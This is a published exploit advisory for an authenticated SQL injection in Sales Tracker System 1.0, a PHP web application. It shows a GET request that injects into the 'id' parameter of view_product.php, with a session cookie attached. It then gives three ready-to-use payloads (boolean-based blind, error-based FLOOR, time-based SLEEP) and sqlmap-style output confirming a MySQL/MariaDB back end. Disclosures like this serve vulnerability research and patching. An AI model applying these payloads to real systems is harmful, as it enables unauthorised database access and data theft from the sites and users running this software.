Sales Tracker System 1.0 SQL Injection Vulnerability

# Exploit Title: Authenticated SQL Injection on Sales Tracker System
# Google Dork: NA
# Date: 21/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage:
https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html
# Software Link: [download link if available]
# Version: 1.0
# Tested on: Windows 11

```

GET /php-sts/admin/products/view_product.php?id=5' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/php-sts/admin/?page=products
Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
```

# Payload
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 3888=3888-- vxtB

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: id=5' OR (SELECT 7013 FROM(SELECT
COUNT(*),CONCAT(0x7162767671,(SELECT
(ELT(7013=7013,1))),0x7170717671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ikkJ

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=5' AND (SELECT 2482 FROM (SELECT(SLEEP(5)))dHEy)-- ehsZ
---
[15:47:48] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.54, PHP 8.0.25
back-end DBMS: MySQL >= 5.0 (MariaDB fork)